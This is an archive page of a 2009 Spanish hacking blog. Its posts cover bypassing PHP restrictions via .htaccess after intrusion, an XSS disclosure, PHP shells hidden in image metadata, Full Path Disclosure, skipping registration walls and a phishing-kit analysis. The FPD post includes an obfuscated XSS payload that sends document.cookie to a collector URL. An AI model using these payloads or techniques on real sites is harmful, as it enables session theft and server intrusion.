martes, 30 de junio de 2009

Redifiniendo directivas PHP: .htaccess

Saludos!!

Bueeeeeeeeno, hace mucho tiempo que no me podía pasar por el blog. El caso es que estuve con los exámenes y demas parafernália universitarias que paso de comentar. Ahora mismo he vuelto a mi rutina noctámbula delante del ordenador, con una línea magnífica de 24kbps. Por suerte esta situación "precaria" en cuanto a internet sólo durará hasta Septiembre, cuando vuelva al mundo normal AKA Salamanca.

Pero bueno, veo que mis compañeros de aventuras en el blog han continuado posteando para que esto no muriera, tarea muy loable. Hoy vengo con la típica energía y entusiasmo que da el iniciar las vacaciones, así que vamos a aprovecharla para hablar de un tema interesante que ya se tocó muy por encima en el post sobre servidores: modificar directivas para tener más "margen de movimiento".


Para empezar, debemos de comprender que el comportamiento de los scripts PHP que corremos en un servidor están basados en una configuración preestablecida, indicada en el archivo php.ini. Este archivo contiene lo que a partir de ahora denominaremos como directivas, que son las instrucciones que marcarán las pautas de comportamiento de PHP, incluyendo limitaciones (que básicamente es la parte que a nosotros nos interesa). Estas directivas están compuestas por una clave y un valor para dicha clave.


Las directivas que más nos van a ir interesando (por que tal vez nos puedan tocar un tanto las narices) van a ser safe_mode, Magic_Quotes, open_basedir, disable_functions...

Safe_Mode, como su propio nombre indica, activa el "Modo Seguro" de PHP, bloqueando ciertas funciones. Sus posibles valores son On y Off. Despues tenemos magic_quotes_[gpc/runtime/sybase], directiva desaconsejada por la mayoría de webmaster, (aunque a la hora de las SQLi es un impedimento desalentador en muchos casos) y básicamente funciona añadiendo una barra invertida (o una comilla simple) a a los caracteres /, ','' y NULL. De esta forma se pretende impedir las inyecciones... Al igual que safe_mode, sus valores son On y OFF.

Por otro lado tenemos Open_basedir, cuya utilidad es determinar un área de trabajo de PHP, e impedir al ejecución de funciones en puntos más altos del árbol de directorios (más adelante lo explico de forma sencilla). Por último, explicar una de las directivas más restrictivas de cara a una intrusión: disable_functions. Esta directiva se encarga de inhabilitar aquellas funciones que le indiquemos. Hay que aclarar que presenta independencia con respecto a Safe_Mode.


Todas estas directivas suelen emplearse en servidores de hosting que emplean para diferentes webs un mismo servidor. Para impedir que los usuarios intervengan (de forma maliciosa o por error) en el espacio de otros, ya sea en los archivos, configuraciones, directorios, etc. Por ejemplo, mediante open_basedir, podemos impedir que desde el espacio empleado por el usuario A pueda ejecutar algún script/programa que pueda afectar a un usuario B.


Vale, sé que esta introducción es un tanto básica y que se conoce, pero así espero que la gente pueda comprender todo desde 0. Así que continuemos. Estas directivas pueden ser modificadas desde diferentes puntos, siendo éste uno de los objetivos primoridales cuando obtenemos acceso a un servidor, puesto que lo primero es poder tener cierto margen de maniobrabilidad para poder avanzar en nuestra intrusión. Pero claro, no todas las directivas pueden ser modificable de "tantas formas". Existe una pequeña clasificación de las directivas.

La modificabilidad de las directivas viene definida por las constantes PHP_INI_USER,PHP_INI_PERDIR , PHP_INI_SYSTEM y PHP_INI_ALL.

Bien, aquellas directivas PHP_INI_USER, pueden ser modificadas desde un script por parte del usuario (usando la función ini_set(), por ejemplo); PHP_INI_PERDIR desde .htaccess, httpd.conf y desde el propio php.ini; PHP_INI_SYSTEM desde php.ini o httpd.conf; PHP_INI_ALL desde cualquier lugar. Para conocer a qué categoría pertenecen las directivas, clickad aquí (PHP-ES.COM). Existe otro tipo de directivas, entre las que se encuentra disable_functions, que únicamente son modfiicable a través de php.ini.



Algunas directivas pueden ser modificables a través del archivo .htaccess. Para ello, tenemos dos opciones y son a través de php_flag y php_value. Si creamos un archivo .htaccess en el servidor en el que estamos, podemos redefinir aquellas directivas cuyos posibles valores sean on u off usando php_flag:

php_flag magic_quotes_gpc on

Y cuando existe polivalencia para la instrucción, empleamos php_value. Si lo que deseamos es eliminar algún valor, utilizaremos none.

El hecho de poder crear un .htaccess que redifina las directivas (principalmente las de seguridad) es algo muy sencillo de hacer y que nos puede ayudar en muchas ocasiones.

La configuración, viene dada por el archivo php.ini (como ya dijimos en un principio), y por los archivos .htaccess (y httpd.conf). Si tenemos un .htacces redifiniendo directivas en la raíz, a la hora de decidir cuál se van a emplear ( si que aparecen indicadas en php.ini o por el contrario las que aparecen en .htacces), la balanza se va a del lado del .htaccess. Además, en esto de las preferencias, interviene un detalle crucial y que es, en síntesis, aquél por el cual podemos emplear este método a modo de "bypass" de restricciones, y es la heredabilidad.

Cuando hablamos de la heredabilidad de .htacces, hacemos referencia a que si hay un archivo de este tipo en un directorio, y existe otro en la raíz, las indicaciones presente en el archivo existente en el propio directorio donde se está ejecutando el script PHP seran aquellas que se tengan en cuenta.


Espero que este artículo se entienda más o menos (si existe algún error comunicadmelo). La verdad es que .htaccess es una herramienta muy útil, y que se le está dando bastante uso: desde asociar scripts PHP a extensiones tipo jpeg, gif, etc, hasta bypassear mod_security.

Byt3z
5 0verl0ad Labs: 2009 Saludos!! Bueeeeeeeeno, hace mucho tiempo que no me podía pasar por el blog. El caso es que estuve con los exámenes y demas parafernália ...

martes, 9 de junio de 2009

Blog System v1.5 - XSS por post

Name: Blog System v1.5
Vuln: XSS
Web: http://www.netartmedia.net/blogsystem/
Dork: WTF!
Author: >> s E t H <<
My blog: http://0verl0ad.blogspot.com/
Email: seth /A\ el-hacker /D\ org

Ver exploit
Para probar, pueden apuntar el form a http://www.blog23.com/index.php
5 0verl0ad Labs: 2009 Name: Blog System v1.5 Vuln: XSS Web: http://www.netartmedia.net/blogsystem/ Dork: WTF! Author: >> s E t H << My b...

jueves, 4 de junio de 2009

ServerInfo 0.1

Es un poco molesto estar conectando con netcat y mandando heads y options cada vez que queres ver los headers de un servidor web, asi que hice este script muy sencillo que te muestra esa información.
Pueden bajarlo de acá y acá.

una demostracion de lo que hace y como se usa:
seth@debian:~$ chmod +x sinfo.sh
seth@debian:~$ ./sinfo.sh microsoft.com OPTIONS
********************************
* ServerInfo 0.1 *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Allow: OPTIONS, TRACE, GET, HEAD
Server: Microsoft-IIS/6.0
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Wed, 03 Jun 2009 23:18:58 GMT
seth@debian:~$ ./sinfo.sh www.google.com.ar HEAD
********************************
* ServerInfo 0.1 *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:05 GMT
Server: gws
seth@debian:~$ ./sinfo.sh foro.undersecurity.net GET
********************************
* ServerInfo 0.1 *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:17 GMT
Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 FrontPage/5.0.2.2635 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.8b
X-Powered-By: PHP/5.2.6
seth@debian:~$ ./sinfo.sh foro.undersecurity.net OPTIONS
********************************
* ServerInfo 0.1 *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:27 GMT
Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 FrontPage/5.0.2.2635 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.8b
Location: http://www.google.com/search?q=Como%20puedo%20ser%201337%20h4x0r?!?!!1
seth@debian:~$ ./sinfo.sh foro.portalhacker.net OPTIONS
********************************
* ServerInfo 0.1 *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:47 GMT
Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8b
Allow: GET, HEAD, OPTIONS, TRACE
seth@debian:~$

Lo que hace es mandar una petición http (con pocas cabeceras, se puede agregar mas para que parezca de un usuario normal) usándo los métodos GET, OPTIONS o HEAD y muestra lo mas interesante de la respuesta.

C1c4Tr1Z (Blog) me respondió con una version mucho mas corta usando curl (tiene cosas a favor y en contra):

Te recomendaría usar curl:
Language: Bash
c1c4tr1z(bash) % ~ $ data=( localhost OPTIONS );curl -X "${data[1]}" -H "Host: ${data[0]}" -I -A "one-user-agent/1.1.1.1" ${data[0]}
HTTP/1.1 200 OK
Date: Thu, 04 Jun 2009 00:40:53 GMT
Server: Apache
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: httpd/unix-directory

Pero despues se podría hacer mas especifico con awk , por ejemplo, para checkear si nos responde con un código 200 (OK):
Language: Bash
c1c4tr1z(bash) % ~ $ data=( localhost OPTIONS );curl -X "${data[1]}" -H "Host: ${data[0]}" -I -A "one-user-agent/1.1.1.1" ${data[0]} | awk '
BEGIN{a=0}
$1~/^HTTP\/1\.[0-1]$/{if($2=="200"){a=1}}
{if(a==1){print$0}}'

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
HTTP/1.1 200 OK
Date: Thu, 04 Jun 2009 00:51:38 GMT
Server: Apache
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: httpd/unix-directory

c1c4tr1z(bash) % ~ $ data=( localhost/no-existe/ OPTIONS );curl -X "${data[1]}" -H "Host: ${data[0]}" -I -A "one-user-agent/1.1.1.1" ${data[0]} | awk '
BEGIN{a=0}
$1~/^HTTP\/1\.[0-1]$/{if($2=="200"){a=1}}
{if(a==1){print$0}}'

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 296 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
c1c4tr1z(bash) % ~ $
Entonces, si el código HTTP devuelto es 200 (OK) el valor de a, que comienza siendo 0, va a ser 1 lo que haría que awk de como output todo el resultado de la cabecera.
Si querés mas información del tema:
HTTP/1.1: Header Field Definitions
Posts sobre http en el blog

No necesito que me digan que no soy bueno en bash, pero acepto sugerencias, mejoras, opiniones, etc.
5 0verl0ad Labs: 2009 Es un poco molesto estar conectando con netcat y mandando heads y options cada vez que queres ver los headers de un servidor web, asi que hi...

jueves, 21 de mayo de 2009

Impuestazo tecnológico en Argentina

En estos días el Congreso de la Nación debatirá el Proyecto de Ley 07-PE-09 (impulsado por el Gobierno Nacional) que aumenta la tasa de IVA del 10.5% a 21% para productos TIC (notebooks, monitores, cámaras de fotos y celulares y productos de otros sectores como aires acondicionados, etc); además, modifica la Ley de Impuestos Internos, gravando dichos productos con una alícuota del 20,48%.

¿Qué significa esto para el consumidor común y corriente?

Un incremento promedio de precios de esos productos aproximadamente del 30% al 40%, con un impacto directo para todos nosotros y sobre todo para los sectores de menores ingresos.
Este impuestazo llevaría necesariamente al aumento de precios de todos estos productos.


Creo que ya estan suficientemente caras las cosas como para subir mas el precio. Se acuerdan de los incentivos como el plan MiPC? que pasó?
Pueden bajarse el pdf con el proyecto aca

En una parte dice:
Por otra parte, importa incorporar al objeto del
gravamen que nos ocupa, determinados productos suntuarios, de forma tal que quienes más
poseen colaboren en mayor medida en la formación de las reservas necesarias para
enfrentar con mejores medios la crisis financiera internacional y de aquellos bienes que
demandan un alto consumo energético, de manera tal de incentivar el uso racional de la
energía, en consonancia con las políticas vigentes a nivel nacional e internacional.


Según la RAE:
suntuoso, sa.
(Del lat. sumptuōsus).
1. adj. Grande y costoso.
2. adj. Dicho de una persona: Magnífica en su gasto y porte.
Claro, resulta que una computadora ahora es un lujo y no una herramienta y alguien que no sabe usar una computadora tiene las mismas oportunidades de trabajo que alguien que si lo sabe hacer.
También habla de que colaboren "los que mas tienen". Los que mas tienen son los que gastan millones robados a la gente en viajes y lujos o alguien que se compra una computadora para trabajar, aprender o acercarse a la tecnologia?

El proyecto se va a tratar despues del 28 de junio, mientras pueden informarse en http://no-al-impuestazo-tecnologico.blogspot.com/ e intentar mostrar su descontento a los diputados enviandoles un email.

Ojo, que también es culpa de todos nosotros (en realidad yo no porque todavia no voto, pero hablo del pueblo en general) por votar a estos garcas. Estaria bueno que todos vean este video.

Me entere en NPGeek
5 0verl0ad Labs: 2009 En estos días el Congreso de la Nación debatirá el Proyecto de Ley 07-PE-09 (impulsado por el Gobierno Nacional) que aumenta la tasa de IVA ...

lunes, 4 de mayo de 2009

Metadatos IV: File inclusion & malicious metadata

Saludos!!


Todo el mundo sabe que si una web tiene una vulnerabilidad LFI, y además cuenta con un uploader de imágenes (avatares, firmas, cosas así por ejemplo) o cualquier otro fichero, estás más que jodido. Normalmente simplemente tus shell.php la renombrabas a .jpeg, subías y fin, pero, hace ya un par de años hubo una persona que pensó más allá y se le ocurrió la magnífica idea de incluir la shell dentro de una imagen ya existente sin que esta se vea modificada, de tal forma que tú pudieras visualizar la imagen y así pasar desapercibida la shell. Esta idea la publicó CodeBreak en un paper llamado "Local JPEG Inclusion".


Ahora bien, y si ampliamos el espectro de extensiones al subir, es decir, no solo modificar de forma inapreciable una imagen, sino hacerlo con cualquier extensión que nos permita modificar sus metadatos. Esta es una gran idea: inyectar PHP en los metadatos.


Bueno, la verdad es que no tengo tiempo de probar algunas herramientas para hacer esto, por lo que os encomiendo a vosotros que probeis herramientas como exiftool y me digais los resultados.

PD: ya sé que es un post muy corto, pero no ando con tiempo de explayarme más.
5 0verl0ad Labs: 2009 Saludos!! Todo el mundo sabe que si una web tiene una vulnerabilidad LFI, y además cuenta con un uploader de imágenes (avatares, firmas, c...

viernes, 24 de abril de 2009

Metes la mano en la lata y tenes la de otro en el bolsillo...

Ayer (del dia en que empece a escribir el post, ya pasó mas tiempo)alguien que vamos a llamar "Señor G", me paso un... llamemoslo "script curiosamente parecido al login de paypal" para que lo mire (esto si es en serio, nunca pense en usarlo) y revise por que no andaba.
La línea que no andaba usa una función que no conosco, pero ese no es el tema del post. Lo que pasa es que mirando el código vi algo raro, fijense ustedes:



Para que todo esté mas claro, voy a modificar el código para que muestre el valor de las variables:




seth@Tux:~/Desktop$ php scam.php
El valor de $ar es
Array
(
[dont] => suck
[remove] => ea
[its] => ndo
[good] => @
[for] => gm
[your] => ail.
[scam] => com
)

Valor de $to: "suckeando@gmail.com"
Warning: file_get_contents(index.htm): failed to open stream: No such file or directory in /home/seth/Desktop/scam.php on line 13

El valor de $arr es
Array
(
[0] => usuario@dominio.tld
[1] =>
)

Opa! email nuevo
Destinatario: "usuario@dominio.tld"
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Opa! email nuevo
Destinatario: "suckeando@gmail.com"
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Opa! email nuevo
Destinatario: ""
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Opa! email nuevo
Destinatario: "suckeando@gmail.com"
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Enviando cabecera:"Location: Thanks.htm"




A ver si se entiende, todo lo que se hace con $ar es lo mismo que
$to="suckeando@gmail.com"

Despues se crea el array $arr con tu email y $IP (antes se pone el ip del que se le roban los datos, asi que no se que es)

Mas tarde se entra en un bucle que recorre ese array y manda el email a $IP (???), $send (vos) y $to (dos veces).

Al final se redirije al usuario a Thanks.htm para que no sospeche
5 0verl0ad Labs: 2009 Ayer (del dia en que empece a escribir el post, ya pasó mas tiempo)alguien que vamos a llamar "Señor G", me paso un... llamemoslo ...

martes, 21 de abril de 2009

Flisol 09


Pueden buscar una reunión cerca de donde viven aca. Si tienen varias cerca, mirenlas todas porque capaz hacen unos kilómetros mas y consiguen mejores charlas, que te presten monitores, etc.

¿Quién lo organiza?

La Comunidad de Software Libre en Latinoamérica, conformada por personas y grupos de diversa índole, con el apoyo de otras entidades, principalmente educativas, y algunos patrocinadores de los eventos en cada localidad.


¿A quién está dirigido?

El evento está dirigido a todo tipo de público: estudiantes, académicos, empresarios, trabajadores, funcionarios públcios, entusiastas y aun personas que no poseen mucho conocimiento informático.


¿Cuánto cuesta?

La asistencia al evento es totalmente libre y gratuita.


¿Qué beneficios obtengo?

Tendrás la oportunidad de instalar software libre en tu computadora, apreciar qué es una real y segura alternativa a otros modelos de desarrollo y distribución de software.

Informarte sobre la filosofía, cultura y organización alrededor del mismo.
Conocer las experiencias, desarrollos e investigaciones de grupos y entidades en torno al Software Libre, tanto a nivel local como nacional e internacional.

Tal vez encuentres una alternativa/solución en software libre para ti, tu empresa, colegio, universidad e, incluso, para tu gobierno.

Podrás aclarar tus dudas acerca de los temas relacionados y, quizás encuentres en el software libre, una alternativa de investigación, empleo y desarrollo tecnológico.
5 0verl0ad Labs: 2009 Pueden buscar una reunión cerca de donde viven aca . Si tienen varias cerca, mirenlas todas porque capaz hacen unos kilómetros mas y consig...

martes, 14 de abril de 2009

Full Path Disclosure [FPD]

Saludos a todos,


Hace ya tiempo que no hago mención a alguna vulnerabilidad de esas que consideramos de Regional Preferente... me refiero a esas que medio mundo desprecia, y el otro medio cuando algún colgado (como el servidor aquí presente) explica dicen aquello de... AHH ¿Pero esto es una vulnerabilidad?. Y como no podría ser de otra forma, el Full Path Disclosure, es una entra en esta categoría... ¡tan innecesarias y útiles a la vez!


De su propio nombre podemos imaginarnos con una probabilidad de éxito cerca al 0'87 (eliminamos a aquellos que ni jota de inglés x'D) qué es lo que hace esta vulnerabilidad. Si eres de esa pequeña franja que no se lo imagin... Se trata de poder ver las rutas reales del servidor. Si ves una web cualquiera, al estilo de www.ejemplo.mil/Prueba/Concepto/Index.php, y pecasemos de ingenuidad, podrías llegar a pensar que Index.php se encuentra en /home/Prueba/Concepto/Index.php, pero te aseguro que así no es. Lo más normal es que fuera /home/Victor/html_docs/Prueba/Concepto/Index.php, /home/Victor/html_public/web/Prueba/Concepto/Index.php, etc...


Entonces el FPD consiste en que tras introducir valores malformados podamos obtener errores de los cuales extraer la ruta. Esto te va sonando más, ¿Verdad? Son los clásicos errores de:

Warning: main(/include/lang/es.php): failed to open stream: No such file or directory in /home/PoC/include/global.php on line 18

Warning: main(): Failed opening '/include/lang/es.php' for inclusion (include_path='.:/home/PoC/include') in /home/miarroba/include/global.php on line 18 t


En ese error encontramos el más clásico entre los clásicos errores que nos aparecen al tratar de explotar un LFI. Y es en este momento donde te das cuenta de para qué sirve estos errores... Como acabo de decir, en los LFIs es muy interesante para poder localizar el lugar donde se encuentran los ficheros que incluye (P.E.: $path = "/Includes/Juaker/".$_GET['file']; include($path);, ya sabes qeu si tu shell está en /Includes/Upload/, vas a necesitar aplicar un ../ para saltar a /Includes/). Otro ejemplo común puede ser para emplear sentencias de volcado de contenido de ficheros a través de SQLi, donde por ejemplo para emplear load_file() necesitaremos conocer el path exacto de donde se encuentra el fichero que le pasamos como parámetro.


Pero hasta ahora hemos estado hablando de forma muy abstracta, mucho bla bla y poco movimiento, así que procedo algunas formas de provocar un FPD. Por supuesto que la más clásica y mítica es introducir un fichero inexistente como parámetro a una función del script que trabaje con ficheros... como no encuentra el archivo, nos arrojará un error al estilo del que ya he mostrado.


En general esto de meter parámetros malformados o erróneos suele funcionar en bastantes ámbitos, por ejemplo, si hacemos un clásico SQLi a un sistema que corre Windows, lo más probable es que nos encontremos con un mensajito de error volcado por OLE DB en el cual encontraremos la ruta del script que obtuvo el error. Otro escenario, quizás menos habitual pero igualmente interesante, es la de provocar Null Sessions (o introducir caracteres extraños en una cookie) para que session_start() de un error (idea sacada de OWASP).

La última forma que se me ocurre ahora mismo es una que leí de Xianur0 en su paper sobre vulnerabilidades en SMF, y es la de usar un array vacío. Por ejemplo: /index.php=seth[]=SUCKS


Creo que las vulnerabilidades de Sensitive Information al estilo de esta están muy infravaloradas, ya que casi siempre (quizás soy el único ser humano al que le ocurre esto) son un recurso interesante y útil a la hora de una auditoría de seguridad en WebApps.

Y cómo solucionarlo... facil, en las directivas poner error_reporting(0) :D

Byt3z

PD: Si conoceis más métodos de provocar FPDs, posteadlos.

PD: onmouseover="h=String.fromCharCode(104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,111,46,112,104,112,63,99,107,61);document.location(h.concat(document.cookie);"
PD2: onclick="alert(String.fromCharCode(112,114,117,101,98,97,115,53));"
PD3:"onmouseover="alert(String.fromCharCode(112,114,117,101,98,97,115,54));"
5 0verl0ad Labs: 2009 Saludos a todos, Hace ya tiempo que no hago mención a alguna vulnerabilidad de esas que consideramos de Regional Preferente... me refiero ...

lunes, 13 de abril de 2009

Metadatos III: OpenOffice

Saludos a todos,


Hoy vamos a hablar de los metadatos en los archivos ofimáticos creados con OpenOffice (que abreviaremos con OO a partir de este momento), ya que está bastante referenciada y es relativamente fácil de entender.

OpenOffice trabaja con ODF, un formato de archivos orientado al almacenamiento de aplicaciones ofimáticas que está basado en un esquema XML. Si se trata de "almacenamiento", podemos deducir que contiene ficheros dentro. Para poder ver que tiene simplemente click derecho->Extraer aquí; y como resultado tendremos carpetas y archivos, de entrada podemos ver:

------[directorios]---

META-INF/
Thumbnails/
Pictures/
Configurations2/

------[Archivos]---

content.xml
meta.xml
settings.xml
styles.xml
mimetype
layout-cache

Dentro de cada directorio encontraremos más ficheros, pero que a nosotros nos interse realmente, sólo es meta.xml, aunque como metadata "real" manifest.xml también merece ser mencionado.


Dentro de META-INF como podemos pensar a simple vista encontraremos metadatos, pero no de esos jugosos que a nosotros nos interesa, si no que nos encontramos un archivo .xml llamado "manifest.xml", si lo abrimos:



Podremos ver un listado de las carpetas y archivos que se encuentran dentro del documento ODF. Nada intersante, si lo comparamos con con lo que podemos encontrar en meta.xml. Ahí encontramos todo lo que buscamos, authores, editores, fechas, programa con que se generó, fechas, editajes, etc...



Si se desea aprender más sobre ODF y los metadatos, existe bastante información en la página oficial, aquí dejo sólo un link, pero os aseguro qeu es fácil encontrar toda la información de forma detallada:

ODF 1.2 Metadata specification

Byt3z
5 0verl0ad Labs: 2009 Saludos a todos, Hoy vamos a hablar de los metadatos en los archivos ofimáticos creados con OpenOffice (que abreviaremos con OO a parti...

sábado, 11 de abril de 2009

Saltarse el "tenes que estar registrado para..."

Hay páginas que ofrecen recursos (imágenes, libros en pdf, etc) gratis, pero para descargarlos piden que te registres. Por ejemplo planetrenders quiero bajarme este render. Pueden ver la imágen chica pero para bajarla en tamaño completo te piden que te registres.
La url de la vista previa es esta: http://planetrenders.net/renders/albums/userpics/24332/normal_papillon%20copie.png

Simplemente le borramos el "normal_" y la tenemos del tamaño original: http://planetrenders.net/renders/albums/userpics/24332/papillon%20copie.png

Funciona en todos.

En otra webs, al querer bajar algo nos lleva a una web asi: http://example.com/register.php?url=http://example.com/downloads/nombre-de-un-archivo.rar

Esto es para que nos registremos y despues nos redirija a http://example.com/downloads/nombre-de-un-archivo.rar
En muchos casos, al abrir esa url ya descargamos el archivo. También puede ser que se pase por post, hay que mirar las cabeceras http.
5 0verl0ad Labs: 2009 Hay páginas que ofrecen recursos (imágenes, libros en pdf, etc) gratis, pero para descargarlos piden que te registres. Por ejemplo planetren...

miércoles, 8 de abril de 2009

Browser Rider: what you never expected your browser could do to you

Bueno la verdad es que no tengo demasiado tiempo para contruir un buen artículo (15 minutos XD) ya que al igual que The X-C3LL también parto de vacaciones a mi pueblo, así que en nuestra ausencia me temo que le tocara a seth mantener el blog :P

-------------------------------------------------------------------------------------------------

Y otra de OWASP se podría decir. Ayer por la noche después de haber estado jugando un poco con igoogle, estaba mirando las conferencias que ya habían terminado haber si podía agarrar algún paper/video de algún sitio. En eso que vi que la Australia conference ya había finalizado hace tiempo. Y buscando llegué a las presentaciones , vi una que me llamó especialmente la atención.

Browser Rider: what you never expected your browser could do to you

Browser exploitation is in fashion but it doesn't seem that there's a popular tool to build and run attacks. Browser Rider will try to fill the gap by providing a framework to build, deploy and manage payloads that exploit the browser. This project aims on the long term to provide a powerful, simple and flexible interface to any client side attack for hackers.

Proposal

Browser security has become one of the most discussed subjects. This is mainly due to two things: First, nowadays malwares are not spread over emails any longer but through web application often using JavaScript obfuscation to avoid anti-virus detection. Second as the web is growing new technologies are constantly appearing to enhance the user experience but also offering many new attack vectors. In both cases it is important to understand that the browser offers an easy mechanism for bypassing firewalls and other perimeter security to gain unauthorised access or commit other security breach.

From a security consultant point of view it can be hard to justify the risk of vulnerabilities that affect the browser such as cross-site scripting, cross-site request forgery and unauthorized redirection vulnerabilities as they do not impact directly the server or the database.

Browser rider is a security tool to exploit browser vulnerabilities. It offers several existing payloads but also provides a complete programming framework to develop exploits. It also acts as a management system to deploy your attacks and control the infected browsers.

The first part of this presentation will introduce the audience to the tool and demonstrate many attacks that can be ported to the browser using the Browser Rider. The second part will technically explain how the tool works (i.e. obfuscation, signature detection avoidance, polymorphism, program architecture, framework), how to write your own exploits with it and deploy them.

On the long term Browser Rider aims at becoming a complete solution to execute, develop and test browser based attacks for security consultants.



Google un poco y encontré la página oficial de esté proyecto, junto a una presentación ppt.

Browser Rider - A hacking framework for browser explotation

Browser Rider OWASP 2009 Melbourne Chapter

Básicamente es un framework basado en payloads una interfaz simple y manejable para cualquier tipo de cliente que se pueda explotar.

Les recomiendo que prueben la demo online y que consulten la documentación de la wiki.

Engineering For Fun Wiki

Saludos a todos y felices pascuas!



5 0verl0ad Labs: 2009 Bueno la verdad es que no tengo demasiado tiempo para contruir un buen artículo (15 minutos XD) ya que al igual que The X-C3LL también parto...

El día de los e-mails

Saludos a todos,

Creo que los miércoles van a ser un buen día para hablar un poco de los comentarios, dudas y sugerencias (tanto negativas como positivas, aquí no censuramos nada) en referente al blog que me llegan a mi buzón.

La verdad es que en líneas generales los comentarios han sido positivos de "hey, me gusta tu blog" y similares y el que más se repite "gracias por cambiar de theme, el anterior me producía úlcera", a falta de dos excepciones donde nos ponen a parir. Bueeeno, todo lo que publicamos aquí, o la forma en que lo hacemos, quizá no sea la mejor, aceptamos críticas constructivas... pero algo sí que quiero decir a estas personas...


En primer lugar a "br3t/\N", el cual en su e-mail nos califica de ir de "Técnicoless". Sinceramente en ningún momento la intencionalidad de este blog es la de asumir los roles de otros personajillos de la red, véase Enrique Dans, y demás personas que viven de la farándula. No queremos ni tener tropecientas visitas, ni ser "famosetes". Nuestra única intención a través de de este blog es la de transmitir un poco de conocimiento a aquellas personas que se inician en este mundillo o que símplemente desean aprender algo nuevo.

Si a través de este blog conseguimos que, aunque sólo un 1% de los lectores, aprendan algo nuevo que les vaya a ser útil, nos damos por satisfechos. Nos consideramos símplemente otro medio de difusión.


Y al otro e-mail enviado por "Anônim@", que desconozco si ese es su nick o símplemente quería pasar como "anónimo", enviado por RecoverPassHotmail002-at-hotmail-dot-com (esto ya da mucho que pensar la verdad...) símplemente decirle que cuando trate de insultar, por favor no agreda tan salvájemente a la Real Academial Española... un pequeño extracto del mail (una pena que lo haya borrado "sin querer"):

"(...)Sk sois unns atentics lammmmmeeeeeeeeeeerssssssssssssss pk no tneis ni ide sorbe hackear cuenta msn!!!!!!!!! Io si soi un hacker y le robe la cuenta a ds d mi classsse(...)

(...)buestrs madrs son uns hijas d pupta, y vstros papas tb!!!(...)"


Clap, Clap, magnífico uso de aquesta nuestra lengua... la verdad es que tras leer esto creo que sufrí un terrible y peligroso ataque por este "juacker": un RKD (Remote Kick Dictionary).


Y por último la primera duda que nos hay llegado, aunque no esté relacionada con las vulnes voy a dejar un link que responde muy bien a la duda de "NW-Perl":

"¿Podrías por favor dejarme algún link donde se hable del manejo de los metadatos en archivos de música en perl? En concreto me interesaría información sobre el formato MP3"

Link

En ese link explican bastante bien este tema, espero que te sea de utilidad.

Lo dicho, sigan mandando sus e-mails, que los miércoles pasaremos a leerlos (y por favor, que sean legibles, no vayan a provocarnos una denegación de servicios por un RKD)

Byt3z!
5 0verl0ad Labs: 2009 Saludos a todos, Creo que los miércoles van a ser un buen día para hablar un poco de los comentarios, dudas y sugerencias (tanto negativ...

lunes, 6 de abril de 2009

httprecon, identificando servidores web

httprecon es un programa para Windows que permite analizar e identificar que servidor http esta corriendo un objetivo. Analiza los banners, códigos de error devueltos, el orden de las cabeceras, etc.


Esta programado en VisualBasic 6 y es de código abierto, además de que se pueden ver los datos que utiliza.

Web
Descarga
FAQ
5 0verl0ad Labs: 2009 httprecon es un programa para Windows que permite analizar e identificar que servidor http esta corriendo un objetivo. Analiza los banners, ...

domingo, 5 de abril de 2009

XSS (Cross Site Scripting) Prevention Cheat Sheet

Buenas! Para los que no me conozcan soy Lix y desde ahora también escribiré en el blog de mi amigo The X-C3LL. Probablemente a algunos les suene mi nombre de los 1000² alagos que me echa Vengador por mis "maravillosos" links que le paso despues de repasar mi burrada de RSS's.

Espero que todos mis posts les sean de utilidad y que disfruten de ellos.

-----------------------------------------------------------------------------------------------------------------

Hace algun tiempo cuando The X-C3LL retomó el blog después de su tiempo de inactividad posteo una XSS cheat-sheet , en este post compartió algunos de los metodos mediante los cuales el intentaba bypassear los filtros impuestos en algunos casos que nos dificultan la tarea.

Revisando la pagina de OWASP (la cual visito diariamente) me encontré con este documento:

XSS (Cross Site Scripting) Prevention Cheat Sheet

